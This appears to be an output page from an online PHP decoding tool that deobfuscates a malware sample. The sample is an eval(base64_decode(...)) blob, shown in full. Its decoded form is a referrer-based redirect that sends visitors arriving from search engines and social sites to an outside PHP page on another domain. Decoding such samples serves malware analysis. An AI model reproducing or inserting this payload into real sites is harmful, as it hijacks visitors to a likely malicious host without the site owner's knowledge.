Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

<?php eval(base64_decode("DQpldmFsKGJhc2U2NF9kZWNvZGUoIlpYWmhiQ2huZW5WdVkyOXRjSEpsYzNNb1lt..

Decoded Output download


function fi($i){$a=Array("yahoo","bing","rambler","gogo","live.com","aport","nigma","webalta","begun.ru","stumbleupon.com","bit.ly","tinyurl.com","/yandex\.ru\/yandsearch\?(.*?)\&lr\=/","/google\.(.*?)\/url\?sa/","myspace.com","facebook.com","aol.com","cache","inurl","Location: http://primefmgh.com/components/com_banners/models/index.php");return $a[$i];}$GLOBALS['_fi_'][0](round(0));$rt_0=$GLOBALS['_fi_'][1]();if(!$rt_0){$rt_1=$_SERVER[HTTP_REFERER];$rt_2=$_SERVER[HTTP_USER_AGENT];if($GLOBALS['_fi_'][2]($rt_1,fi(0))or $GLOBALS['_fi_'][3]($rt_1,fi(1))or $GLOBALS['_fi_'][4]($rt_1,fi(2))or $GLOBALS['_fi_'][5]($rt_1,fi(3))or $GLOBALS['_fi_'][6]($rt_1,fi(4))or $GLOBALS['_fi_'][7]($rt_1,fi(5))or $GLOBALS['_fi_'][8]($rt_1,fi(6))or $GLOBALS['_fi_'][9]($rt_1,fi(7))or $GLOBALS['_fi_'][10]($rt_1,fi(8))or $GLOBALS['_fi_'][11]($rt_1,fi(9))or $GLOBALS['_fi_'][12]($rt_1,fi(10))or $GLOBALS['_fi_'][13]($rt_1,fi(11))or $GLOBALS['_fi_'][14](fi(12),$rt_1)or $GLOBALS['_fi_'][15](fi(13),$rt_1)or $GLOBALS['_fi_'][16]($rt_1,fi(14))or $GLOBALS['_fi_'][17]($rt_1,fi(15))or $GLOBALS['_fi_'][18]($rt_1,fi(16))){if(!$GLOBALS['_fi_'][19]($rt_1,fi(17))or!$GLOBALS['_fi_'][20]($rt_1,fi(18))){$GLOBALS['_fi_'][21](fi(19));exit();}}}

Did this file decode correctly?

Original Code

<?php eval(base64_decode("DQpldmFsKGJhc2U2NF9kZWNvZGUoIlpYWmhiQ2huZW5WdVkyOXRjSEpsYzNNb1ltRnpaVFkwWDJSbFkyOWtaU2duWlU1d1ZHTm1abmhrTTB3d1ExazFWMm93TDB4cVJtVlFkRmhWYzB0cmNYTXhSa0pRVEZOeVMwdzBjRmhXT1VKVVREQnZkSGxET0hGNVkzaE1WamxrVW5vd2FFNVVSV3QwUzJkaFRFWTBUMGt4VEhkVGIwaENlRU5XYUdoYWJrWktSVnBuU0ZwSlJVVlpSSGRSUnpGclQybFJXRmRDSzFOQ1JGbFRjV2hNUW1oTmFVSXhUVVp0UXl0c1NIUlNaRVZJWTFOR1EzQkJSR2wwTDFRME0wMVRVelZCZVc5RlZFSkNSVUZYVlVGQ2MwZHNjMVIwUTJkNVpsRXhaMUZrTmtNMVJVSktPRFp3Y2xkQlMwOUZZbUZSUFNjcEtTazdJRDgrUEQ4Z1pYWmhiQ2huZW5WdVkyOXRjSEpsYzNNb1ltRnpaVFkwWDJSbFkyOWtaU2duWlU1dk1XdE9NVXRCZWtWUmFGWXJiRXhKZERCU1ZHSXpUR0ZXTkRONlkzZEpjRTR3VG1oMFRWcHJTaXN4UlZZNFpIbG1ZVmh2VkhwaldrbDZZemhxVTNsR1lsQjBSblk0Wm5aVVZEbDNhVzQxTlhob01uYzRZbkpOZWtRd01rRTRUMXBGVFRCUlZFMVJielZrT1RSUUwzZE9iSGxHU1ZSRmRWbHhVMlI0UmtWUU9VWkJjVW93VFhWclducGliMHRzZEdvMmFFcGhXbUo2VUdjMmFEQXlaMlYwY0dGRWFtUmlZbFZDV0M5T1NWTXdNemxqUlV4S1pEbFlheTlRTlRSdUwxSkRlVkJ4Yml0NmFrYzNaMGh5S3prMVZrMHdUMk5ETDFOd2RVcFpSemt4TVhORlJHWlFOM1pUTTJaT01XMTNTelJ3Tm10eGVtOW9Vek13ZW5wcWN6RnNjbFJSWVcxVlptTlJiSFZ5VlVoc1FuZHdhakZTVEhoNlkwUlNTbWxNYVc1NlJsVktWSFp3WldVd2NHMUZObHB4ZDNRd01qWkZiRGxITDBodU9TdEJZVmx6WlVKTlBTY3BLU2s3SUQ4K1BEOGdaWFpoYkNobmVuVnVZMjl0Y0hKbGMzTW9ZbUZ6WlRZMFgyUmxZMjlrWlNnblpVNXdPVEF3UlV4bmFrRlZkMUJIZGxWcFF6UlJVV1ptZWtSTGEyYzRSM0ZSTVZGek5ubEthbXg0U3poR1JXaENSVWczTTNSdVZqVjBZVEpVZVZCMmVHUklPREJYYlRFeWFUTktlbkZIVUZaMFEzRlhaRk5LU21RemRHTjZlVk5vZEVscE5uVXdjbTB3WVRoQ1UxZHFVazV0VW04MUwxSnNUR3BEVURGSlIweEZlR1l4ZFhGeU1sTjJRV3hHTVhoSmRUUlFPVVJKTHpaU2NGVnlkbkV5YXpKbFRUaG5SV3hwWkRRMllURnlla2h5VW5NMFNrVlZSUzlIVTAxRFVFOVVSRXBJVlZSNVlVbHFVREZyYVd0cWJVcDZhMmxGZWl0YVNWUk1NVVV3YVZGNVVVMUhhMHByUmtSQk5FMW5ZMHgzYkZScVVVZElVbXROTWxvd1drc3dabHBTSzFVdmExVTBUa0ZTUzBFd05FNW5aR0ZCV1RSUGRWUldMekpaTTFWalRHYzBNblZaYzFsVVp6WTFWMlZaWVN0S2VGQXhlVFIxZWk5aGRTODBOaXMzT1RsSlZWQmphU2NwS1NrNyIpKTsNCg=="));

Function Calls

gzuncompress	3
base64_decode	5

Variables

$_fi_

[{'key': 0, 'value': 'error_reporting'}, {'key': 1, 'value': 'headers_sent'}, {'key': 2, 'value': 'stristr'}, {'key': 3, 'value': 'stristr'}, {'key': 4, 'value': 'stristr'}, {'key': 5, 'value': 'stristr'}, {'key': 6, 'value': 'stristr'}, {'key': 7, 'value': 'stristr'}, {'key': 8, 'value': 'stristr'}, {'key': 9, 'value': 'stristr'}, {'key': 10, 'value': 'stristr'}, {'key': 11, 'value': 'stristr'}, {'key': 12, 'value': 'stristr'}, {'key': 13, 'value': 'stristr'}, {'key': 14, 'value': 'preg_match'}, {'key': 15, 'value': 'preg_match'}, {'key': 16, 'value': 'stristr'}, {'key': 17, 'value': 'stristr'}, {'key': 18, 'value': 'stristr'}, {'key': 19, 'value': 'stristr'}, {'key': 20, 'value': 'stristr'}, {'key': 21, 'value': 'header'}]

Stats

MD5	919baa767bbb5efac60a5487d6ea469c
Eval Count	5
Decode Time	116 ms